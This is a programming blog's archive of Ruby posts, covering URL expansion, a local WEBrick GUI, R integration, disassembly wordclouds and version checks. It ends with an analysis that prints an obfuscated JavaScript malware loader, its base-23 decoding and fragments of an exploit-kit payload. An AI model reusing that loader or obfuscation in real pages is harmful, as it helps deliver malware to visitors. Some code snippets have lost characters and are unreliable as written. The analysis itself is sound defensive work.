Showing posts with label ruby. Show all posts
Showing posts with label ruby. Show all posts

Friday, August 5, 2016

realurl

The inability of browsers to deal with shortened URLs led to the writing of a quick one-liner for verifying the final destination of a URL.

Add this line to ~/.bashrc :

alias realurl='ruby -r net/http -e "ARGV.map{ |s| while(r=Net::HTTP.get_response(URI(s)) and r.code[0] == \"3\"); s=r[\"location\"];end;puts s}"'

Then use the realurl alias to look up URLs:

bash# realurl http://goo.gl/KjdQYT
https://www.blackhat.com/us-16/briefings.html#weaponizing-data-science-for-social-engineering-automated-e2e-spear-phishing-on-twitter?Wolfesp18

The expanded Ruby code is as follows:

#!/usr/bin/env ruby
# expand a shortened URL by following all redirects
require 'net/http'

def expand_url(str)
  while(hdr=Net::HTTP.get_response(URI(str)) and hdr.code[0] == '3')
    str = hdr['location']
  end
  puts str
end

if __FILE__ == $0
  ARGV.each do |arg|
    puts expand_url arg
  end
end 

Sure, it would be nice to print the page Title attribute as well, but that means loading up Nokogiri and ends up being a bit of overkill.

UPDATE: I've been making pretty heavy use of a shell function to get the page title via wget:

pagetitle () 

    wget --quiet -O - "$1" | sed -n -e 's!.*\(.*\).*!\1!p'
}

Sunday, September 6, 2015

Using a webapp as a local application GUI

This is just a quick proof-of-concept for using a local webserver and a browser instance as a standalone GUI application. The idea is to use a browser and an embedded webserver as your UI toolkit, instead of hoping that the user was able to get qtbindings or shoes installed.


Http Application

The main application spawns two child processes: a local web server and a web browser instance.

In an ideal world, the application would wait for both processes to exit, and perhaps offer to restart one or the other in the event of a crash. Because of the way modern browsers work -- opening URLs in an existing process instead of starting a new one -- this has to be simplified to waiting only for the web server process to exit, and hoping that the browser process can successfully manage things.

The HttpApplication class provides a run() method that starts a webserver on localhost using the first available port, then opens a browser window/tab connected to the webserver:


class HttpApplication

  def run(host=nil, port=nil, browser=nil, path=nil)
    @server = ServerProcess.new(host, port, @controller)
    @server.start
    uri = server.uri.dup
    if path
      path = '/' + path if (! path.start_with? '/')
      uri.path = path
    end
    Browser.open(uri, browser)
    Process.waitpid(@server.pid)
  end
end

When the webserver process exits, the application will exit. Note that this means the webapp itself must close the webserver process, either through an explicit signout, or through a Javascript on_close or on_unload event handler.


ServerProcess

The webserver process is simply a Webrick instance with a servlet acting as a controller. This is pretty straightforward: the only interesting part is detecting the next available port so that it can be passed to the Webrick constructor.

require 'uri'
require 'webrick'
class ServerProcess
  attr_reader :host, :port, :controller, :pid, :uri, :webrick

  def initialize(host=nil, port=nil, controller=nil)
    @port = port || get_avail_port(host)
    @host = host || IPSocket.getaddress(Socket.gethostname)
    @controller = controller
  end
  def start
    @pid = Process.fork do
      @webrick = WEBrick::HTTPServer.new( :Port => @port )
      @webrick.mount('/', @controller) if @controller
      trap('HUP') { @webrick.stop; @webrick.start }
      trap('INT') { @webrick.shutdown }
      @webrick.start
    end

    trap('INT') { Process.kill 'INT', @pid }
    trap('TERM') { Process.kill 'INT', @pid }
    @uri = URI::HTTP.build( {:host => @host, :port => @port} )
    self
  end
  def stop
    @webrick.shutdown if @webrick
    Process.kill('INT', @pid) if @pid
  end


  private
  def get_avail_port(host)
    host ||= (Socket::gethostbyname('')||['localhost'])[0]
    inf = Socket::getaddrinfo(host, nil, Socket::AF_UNSPEC,
Socket::SOCK_STREAM, 0, Socket::AI_PASSIVE)
    fam = inf.inject({}) { |h, arr| h[arr[0]]= arr[2]; h }
    sock_host = fam['AF_INET'] || fam['AF_INET6']
    sock = sock_host ? TCPServer.open(sock_host, 0) : TCPServer.open(0)
    port = sock.addr[1]
    sock.close
    port
  end
end


Browser

The browser process  is a simple launcher that opens a URL in a browser instance , in what is hopefully a platform-independent manner. One could use the launchy gem or some other suitably over-engineered solution, but there's really not much need to support more than Windows, OS X, and Linux. Let's face it, anyone who doesn't have xdg-open installed probably doesn't want to run your webserver-based app on their ideologically-pure system.

require 'shellwords'
class Browser
  if RUBY_PLATFORM =~ /darwin/
    URL_OPEN_COMMAND = 'open'
  elsif RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /bsd/
    URL_OPEN_COMMAND = 'xdg-open'

  else
    # assume windows
    URL_OPEN_COMMAND = 'start'
  end
  def self.open(uri, cmd=nil)
    pid = Process.fork do
      uri_s = Shellwords.shellescape uri.to_s
      `#{Shellwords.shellescape(cmd || URL_OPEN_COMMAND)} #{uri_s}`
    end
  
    Process.detach(pid)
  end
end


RestContoller

The meat of the UI is in the controller object which HttpApplication uses to handle webserver routes. This particular one is based on Webrick's AbstractServlet class, and uses regex patterns to determine the handler for a particular route.

Each route consists of a pattern and a block. The pattern is used to match the URL; for best results, the ^ and $ anchors should be used, and the URL path should be absolute (i.e., starting with '/').

The block receives three arguments: query, request, and server. The query is a Hash extracted from the Webrick HTTPRequest object, the request is the complete HTTPRequest object, and the server is the Webrick HTTPServer object for the webserver (used mainly to shutdown the server). The block must return either the response body or an array [body, content_type, status]; these return values will be written to the Webrick HTTPResponse object.

class RestController < WEBrick::HTTPServlet::AbstractServlet
  DEFAULT_STATUS = 200
  DEFAULT_CONTENT_TYPE = 'text/html'
  DEFAULT_BODY = '404 : not found' # this should really be html

  @routes = []
  def self.route(pat, &block)
    @routes << [pat, Proc.new(&block)]
  end
  def self.routes; @routes; end
  def initialize(server)
    @webrick = server
    super server
  end
  def fill_response(response, bodycontent_type=DEFAULT_CONTENT_TYPEstatus=DEFAULT_STATUS)
    response.status = status
    response['Content-Type'] = content_type
    response.body = body
    response
  end
  def route_request(request)
    content_type = DEFAULT_CONTENT_TYPE
    status = 404
    body = DEFAULT_BODY
    self.class.routes.each do |pat, proc_obj|
      if request.path =~ pat
        arr = [ proc_obj.call(request.query, request, @webrick) ].flatten
        body = arr[0]
        content_type = arr[1] || DEFAULT_CONTENT_TYPE
        status = arr[2] || DEFAULT_STATUS
        break
      end
    end
    [body, content_type, status]
  end
  def do_GET(request, response)
    body, content_type, status = route_request(request)
    fill_response(response, body, content_type, status)
  end
  def do_POST(request, response)
    body, content_type, status = route_request(request)
    fill_response(response, body, content_type, status)
  end
end


Example

Here's a quick example that defines a few handlers.

def create_rest_controller
  cls = RestController

  # /test
  cls.route(/^\/test$/) { |q,r| ["test", "text/plain"] }
  #/quit
  cls.route(/^\/quit$/) { |q,r,s| s.shutdown; ["shutting down", "text/plain"] }

 

 #/
  cls.route(/^\/$/) { |q,r,s| s.shutdown; ["root!""text/plain"] }
  cls
end

app = HttpApplication.new( create_rest_controller )
app.run

The content returned by the routes is all plaintext because hey, the blogger interface sucks for entering < and  > characters.

Note the /quit handler: this is necessary to shutdown the webserver process (otherwise it will continue to run in the background). If you are certain your users permit Javascript, you can have an event handler hit this URL when the user closes the browser tab/window.

An alternative is to have the web server manage a PID file, so that subsequent invocations of the application will connect to the webserver process running in the background (much like the browsers that forced us into this mess).

As usual, the code is available on github.

Wednesday, November 5, 2014

Creating an R list using RsRuby

For the most part rsruby, works as advertised. Where things blow up unexpectedly is when using a Ruby Hash to create an R List object.

irb > require 'rsruby'
irb > ENV['R_HOME'] ||= '/usr/lib/R' 
irb > $R = RSRuby.instance

irb > $R.assign('test.x', { :a => 1, :b => "abc", :c => [8,9] } )
RException: Error in (function (x, value, pos = -1, envir = as.environment(pos), inherits = FALSE,  : 
  unused arguments (a = 1, b = "abc", c = 8:9)

This happens because rsruby treats a trailing Hash as a collection of keyword arguments to the R assign() function. All that metaprogramming magic ain't free, y'know?


The solution is to wrap the Hash argument into an actual Hash storing keyword arguments to the R function.

A quick look at the R help file for assign() shows that it has the following signature:

assign(x, value, pos = -1, envir = as.environment(pos),
            inherits = FALSE, immediate = TRUE)

This means that the Hash containing the R List data will have to be passed as the value argument to the assign() call.

$R.assign('test.x', { :value => { :a => 1, :b => "abc", :c => [8,9] } } )
ArgumentError: Unsupported object ':a' passed to R.

Of course, R cannot handle Symbols unless they are the names of function keyword arguments. This is easy to fix.

irb >$R.assign('test.x', { :value => { 'a' => 1, 'b' => "abc", 'c' => [8,9] } } )
 => {"a"=>1, "b"=>"abc", "c"=>[8, 9]} 
irb > $R.eval_R("print(test.x)")
$a
[1] 1

$b
[1] "abc"

$c
[1] 8 9

 => {"a"=>1, "b"=>"abc", "c"=>[8, 9]}

All's well that ends well!

Friday, February 7, 2014

Disasm Wordcloud

In a recent discussion of what the possible applications of R to binary analysis are, the usual visualizations (byte entropy, size of basic blocks, number of times a function is called during a trace, etc) came to mind. Past experiments with tm.plugins.webmining, however, also raised the following question: Why not use the R textmining packages to generate a wordcloud from a disassembled binary?

Why not, indeed.

The objdump disassembler can be used to generate a list of terms from a binary file. The template Ruby code for generating a list of terms is a simple wrapper around objdump:

# generate a space-delimited string of terms occurring in target at 'path'
terms = `objdump -DRTgrstx '#{path}'`.lines.inject([]) { |arr, line|
  # ...extract terms from line and append to arr...
  arr
}.join(" ")  

The R code for generating wordclouds has been covered before. The code for disassembly terms can be more simple, as the terms have already been extracted from the raw text (disassembly):

library('tm')
library('wordcloud')

# term occurrences must be in variable "terms"
corpus <- Corpus(VectorSource(terms))
tdm <- TermDocumentMatrix(corpus)
vec <- sort(rowSums(as.matrix(tdm)), decreasing=TRUE)
 df <- data.frame(word=names(vec), freq=vec)

# output file path must be in variable "img_path"
png(file=img_path)
# minimum frequency should be higher than 1 if there are many terms
wordcloud(df$word, df$freq, min.freq=1) 
dev.off()
                             
The most interesting terms in a binary are the library functions that are invoked. The following regex will extract the symbol name from call instructions:

terms = `objdump -DRTgrstx '#{path}'`.lines.inject([]) { |arr, line|
  arr << $1 if line =~ /<([_[:alnum:]]+)(@[[:alnum:]]+)?>\s*$/
  arr
}  

When run on /usr/bin/xterm, this generates the following wordcloud:

The other obvious terms in a binary are the instruction mnemonics. The following regex will extract the instruction mnemonics from an objdump disassembly:

terms = `objdump -DRTgrstx '#{path}'`.lines.inject([]) { |arr, line|
  arr << $1 if line =~ /^\s*[[:xdigit:]]+:[[:xdigit:]\s]+\s+([[:alnum:]]+)\s*/
  arr
}  

When run on /usr/bin/xterm, this generates the following wordcloud:       

Of course, there is always the possibility of generating a wordcloud from the ASCII strings in a binary. The following Ruby code is a crude attempt at creating a terms string from the output of the strings command:

 terms = `strings '#{path}'`.gsub(/[[:punct:]]/, '').lines.to_a .join(' ')

When run on /usr/bin/xterm, this generates the following wordcloud:     

Not as nice as the others, but some pre-processing of the strings output would clear that up.

There is, of course, a github for the code. Note that the implementation is in Ruby, using the rsruby gem to interface with R.

Thursday, June 13, 2013

Quick-and-dirty Sentiment Analysis in Ruby + R


Sentiment analysis is a hot topic these days, and it is easy to see why. The idea that one could mine a bunch of Twitter drivel in order to guesstimate the popularity of a topic, company or celebrity must have induced seizures in marketing departments across the globe.

All the more so because, given the right tools, it's not all that hard.


The R Text Mining package (tm) can be used to perform rather painless sentiment analysis on choice topics.

The Web Mining plugin (tm.plugin.webmining) can be used to query a search engine and build a corpus of the documents in the results:

library(tm.plugin.webmining)
corpus <- WebCorpus(YahooNewsSource('drones'))

The corpus is a standard tm corpus object, meaning it can be passed to other tm plugins without a problem.


One of the more interesting plugins that can be fed a corpus object is the Sentiment Analysis plugin (tm.plugin.sentiment):

library(tm.plugin.sentiment)
corpus <- score(corpus)
sent_scores <- meta(corpus)


The score() method performs sentiment analysis on the corpus, and stores the results in the metadata of the corpus R object. Examining the output of the meta() call will display these scores:


summary(sent_scores)
     MetaID     polarity         subjectivity     pos_refs_per_ref  neg_refs_per_ref 
 Min.   :0   Min.   :-0.33333   Min.   :0.02934   Min.   :0.01956   Min.   :0.00978  
 1st Qu.:0   1st Qu.:-0.05263   1st Qu.:0.04889   1st Qu.:0.02667   1st Qu.:0.02266  
 Median :0   Median : 0.06926   Median :0.06767   Median :0.03009   Median :0.02755  
 Mean   :0   Mean   : 0.04789   Mean   :0.06462   Mean   :0.03343   Mean   :0.03118  
 3rd Qu.:0   3rd Qu.: 0.15862   3rd Qu.:0.07579   3rd Qu.:0.03981   3rd Qu.:0.03526  
 Max.   :0   Max.   : 0.37778   Max.   :0.10145   Max.   :0.06280   Max.   :0.05839  
             NA's   : 2.00000   NA's   :2.00000   NA's   :2.00000   NA's   :2.00000  
 senti_diffs_per_ref
 Min.   :-0.029197  
 1st Qu.:-0.002451  
 Median : 0.003501  
 Mean   : 0.002248  
 3rd Qu.: 0.009440  
 Max.   : 0.026814  
 NA's   : 2.000000 


These sentiment scores are based on the Lydia/TextMap system, and are explained in the TestMap paper as well as in the tm.plugin.sentiment presentation:

  • polarity (p - n / p + n) : difference of positive and negative sentiment references / total number of sentiment references
  • subjectivity (p + n / N) :  total number of sentiment references / total number of references
  • pos_refs_per_ref (p / N) : total number of positive sentiment references / total number of references
  • neg_refs_per_ref (n / N) : total number of negative sentiment references / total number of references
  • senti_diffs_per_ref  (p - n / N) :  difference of positive and negative sentiment references  / total number of references                                                        
The pos_refs_per_ref and neg_refs_per_ref are the rate at which positive and negative references occur in the corpus, respectively (i.e., "x out of n textual references were positive/negative"). The polarity metric is used to determine the bias (positive or negative) of the text, while the subjectivity metric is used to determine the rate at which biased (i.e. positive or negative) references occur in the text.

The remaining metric, senti_diffs_per_ref, is a combination of polarity and subjectivity: it determines the bias of the text in relation to the size of the text (actually, number of references in the text) as a whole. This is likely to be what most people expect the output of a sentiment analysis to be, but it may be useful to create a ratio of pos_refs_per_ref to neg_refs_per_ref.


Having some R code to perform sentiment analysis is all well and good, but it doesn't make for a decent command-line utility. For that, it is useful to call R from within Ruby. The rsruby gem can be used to do this.

# initialize R
ENV['R_HOME'] ||= '/usr/lib/R'
r = RSRuby.instance

# load TM libraries
r.eval_R("suppressMessages(library('tm.plugin.webmining'))")
r.eval_R("suppressMessages(library('tm.plugin.sentiment'))")

# perform search and sentiment analysis
r.eval_R("corpus <- WebCorpus(YahooNewsSource('drones'))")
r.eval_R('corpus <- score(corpus)')

# output results
scores = r.eval_R('meta(corpus)')
puts scores.inspect


The output of the last eval_R command is a Hash corresponding to the sent_scores dataframe in the R code.


Naturally, in order for this to be anything but a throwaway script, there has to be some decent command line parsing, maybe an option to aggregate or summarize the results, and of course some sort of output formatting.

As usual, the source code for such a utility has been uploaded to GitHub: https://github.com/mkfs/sentiment-analysis

Usage: sentiment_for_symbol.rb TERM [...]
Perform sentiment analysis on a web query for keyword

Google Engines:
    -b, --google-blog                Include Google Blog search
    -f, --google-finance             Include Google Finance search
    -n, --google-news                Include Google News search
Yahoo Engines:
    -F, --yahoo-finance              Include Yahoo Finance search
    -I, --yahoo-inplay               Include Yahoo InPlay search
    -N, --yahoo-news                 Include Yahoo News search
Summary Options:
    -m, --median                     Calculate median
    -M, --mean                       Calculate mean
Output Options:
    -p, --pipe-delim                 Print pipe-delimited table output
    -r, --raw                        Serialize output as a Hash, not an Array
Misc Options:
    -h, --help                       Show help screen

Wednesday, May 22, 2013

RVM 'rvm_path does not exist' error

This seems to occur when RVM is used in a new user account, with a multi-user RVM installation (i.e. installed to /usr/local/rvm):

bash$ source /usr/local/rvm/scripts/rvm

$rvm_path (/usr/local/rvm/scripts/rvm) does not exist.rvm_is_a_shell_function: command not found
__rvm_teardown: command not found

The solution is to set the rvm_path variable in ~/.rvmrc :

bash$ cat ~/.rvmrc 
export rvm_path="/usr/local/rvm"

This has to be done in order for the additions to .bash_profile or .bashrc to work.

Friday, February 8, 2013

Ruby Version Check


As good a practice as it is to make Ruby code portable between interpreter versions, sometimes it is just not possible. And other times, a particular feature (such as little- and big-endian flags in Array#pack and String#unpack) makes requiring a minimum version a small burden to bear.

There are a few underfeatured or overengineered solutions to this problem already, but that feels "just right" for a task that should be so simple. What follows are two brief one-liners for enforcing a minimum Ruby version.


Method 1 : A simple to_i check

This method is useful if the required version is in the format of the 1.8.x and 1.9.x releases. That is, the version number must be at least three single-digit decimal numbers (i.e. 0-9) separated by decimal points (or periods, if you prefer). The trick is simply to concatenate the decimal numbers and convert them to an integer:

RUBY_VERSION.split('.')[0,3].join.to_i

This can be used in a straightforward check as follows:

raise "Ruby 1.9.3 required" if RUBY_VERSION.split('.')[0,3].join.to_i < 193


Method 2 : Padded-decimal to_i check

This method is useful if the version components can contain multiple-digit decimal numbers. For simplicity, assume that the largest version component will be 999. The trick then is to format a string in which each version component is zero-padded to three places, then converted to an integer:

("%03d%03d%03d" % RUBY_VERSION.split('.')[0,3]).to_i 

The required version number must also be zero-padded, as the following check demonstrates:

raise "Ruby 1.9.3 required" if ("%03d%03d%03d" % RUBY_VERSION.split('.')[0,3]).to_i < 1009003 


Futureproofing

Of course, to be absolutely safe, one must consider the possibility of versions such as 3.0 or even 3. In these cases, the output of split('.') will cause a failure, as there are not three components available.

The fix is to append enough zeroes to the array after splitting.

A two-component version number requires a single zero to be appended:

irb> ("%03d%03d%03d" % (("1.8").split('.')<<0)).to_i
=> 1008000 

While a one-component version number requires two zeroes to be appended:

irb> ("%03d%03d%03d" % (("1").split('.')<<0<<0)).to_i
=> 1000000


The ultimate, maximally-futureproof version-string-to-integer comparison is therefore:

("%03d%03d%03d" % (RUBY_VERSION.split('.')<<0<<0)).to_i

The accompanying version check for Ruby 1.9.3:

raise "Ruby 1.9.3 required" if ("%03d%03d%03d" % (RUBY_VERSION.split('.')<<0<<0)).to_i < 1009003 

A bit ugly, and a bit more than an 80-character line, but still simple enough to chuck under the shebang.

Wednesday, December 12, 2012

malware in the wild: an interesting diversion

This little number provided some measure of entertainment this evening.

Ostensibly a Javascript malware "caught in the wild", it consists largely of an incomprehensible HTML I tag full of what appears to be encoded data:

17="=0g1ekd4=0f3f6ek=4e844e5=8g77gcf=37mdd60=1eee2f6..."


The nature of the obfuscation can be determined fairly quickly by looking at the two SCRIPT tags:

dd="i";ss=String.fromCharCode;pp="eIn";gg="getElem"+"entsByTagName";zx="al";

and

if(document.getElementsByTagName("div")[0].style.display==""){a=document[gg](dd)[0];

s=new String();
for(i=0;;i++){
        r=a.getAttribute(i);
        if(r){s=s+r;}else break;
}
a=s;
s=new String();
zx="ev"+zx;
e=window[zx];
p=parseInt;
for(i=0;i=2){
        if(a["su"+"bs"+"tr"](i,1)!="=")
        s=s.concat(ss(p(a.substr(i,2),23)/3));
}
c=s;
e(c)}

It only takes putting them side by side to realize that the first contains string substitutions for the second.

Performing the substitutions manually, we get:

if(document.getElementsByTagName("div")[0].style.display==""){

  # a)
  a=document["getElementsByTagName"]("i")[0];
  s=new String();
  for(i=0;;i++){
    r=a.getAttribute(i);
    if(r){s=s+r;}else break;
  }
  a=s;
  s=new String();
  e=window["eval"];
  # b)
  for(i=0;i
    # c)
    if(a["substr"](i,1)!="=")
    #d)
    s=s.concat(String.fromCharCode(parseInt(a.substr(i,2),23)/3));
  }
  c=s;
  # e)
  e(c)}

By now the operation of the main encoding scheme is apparent. The code at a) reads the (numeric) attributes of the "I" tag from 0 to 28 (the largest attribute # in the I tag), and assembles it into a string. The characters of this string are iterated over in pairs at b), and each pair beginning with '=' is skipped at c). Finally, at d), a command string is generated by:

  * reading each pair of characters as a base-23 number
  * dividing the resulting number by 3
  * converting that result into an ASCII character

At e), fittingly, this command string is evaluated.


The code in a) shows that the numeric attributes in the I tag are displayed out of order, in another crude attempt at obfuscation. The first attribute must be zero (according to the loop), and its contents are:

0="=6f9cfek=344aae2=2f6dadg=5e88kd4=2f3d4cl=2f37mg1=3f9d4ek=2f0dgeb=8e87d4a=9666074=7607a4a=15he8cf..."

Manually converting this in ruby shows that the above interpretation of the obfuscation is indeed correct:

%w{ f9 cf ek 44 aa e2 f6 da dg e8 8k d4 f3 d4 cl f3 7m g1 f9 d4 ek f0 dg eb e8 7d 4a 66 60 74 60 7a 4a 5h e8 cf }.map { |x| (Integer(x, 23) / 3).chr }.join
 => "var PluginDetect={version:\"0.7.9\",na" 

From here on it is a simple matter of decoding. Extract the contents of the I tag into a file called "lines.dat". 

 dat = File.open('lines.dat', 'r') { |f| f.read }

A quick perusal shows that the attributes are separated by spaces, and a quick experiment verifies this:

 dat.split(' ').length
 => 29 

Enumerable#inject proves a nice way to turn this into a hash:

h = dat.split(' ').inject({}) { |h, attr| k,v,jnk = attr.split('="'); h[Integer(k)] = v.split(/=[[:alnum:]]/)[1..-1].map{ |s| [s[0,2], s[2,2], s[4,2]] }.flatten ; h}

Some commentary is perhaps in order here. The inject block splits each attribute on '="', resulting in a [name, attribute] pair such as ["0", "=6f9cfek=344aa..."]. The first half of the pair, called k for key, is converted to a fixnum and serves as a sort of line number for the command. 

The tricky bit is the handling of v (for value, of course). This is split on a regex consisting of an equals sign and an alphanumeric character;  for attribute 0, this creates the array ["", "f9cfek", "44aae2", "f6dadg", "e88kd4", ... ]. The empty first element is discarded, then the strings in the array are manually divided into their three numeric components, resulting in an array such as ["f9", "cf", "ek", "44", "aa", "e2", "f6", "da", "dg", "e8", "8k", "d4", ... ].

All that remains now is to order the attributes by "line number", convert each encoded number from a base 23 String representation to a Fixnum, divide it by three, and convert the result to a character. Simple enough:

h.keys.sort.map{ |i| h[i].map{ |x| (Integer(x, 23) / 3).chr }.join }.join

The result is a rather long payload which the reader is welcome to reconstruct themselves or peruse. To give a taste, here is the very beginning and the very end:

"var PluginDetect={version:\"0.7.9\",name:\"PluginDetect\",handler:function(c,b,a){return function(){c(b,a)}},openTag:\"
...
ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$[\"onDetec\"+\"tionDone\"](\"Ja\"+\"va\", svwrbew6436b, \"../legs/getJavaInfo.jar\");"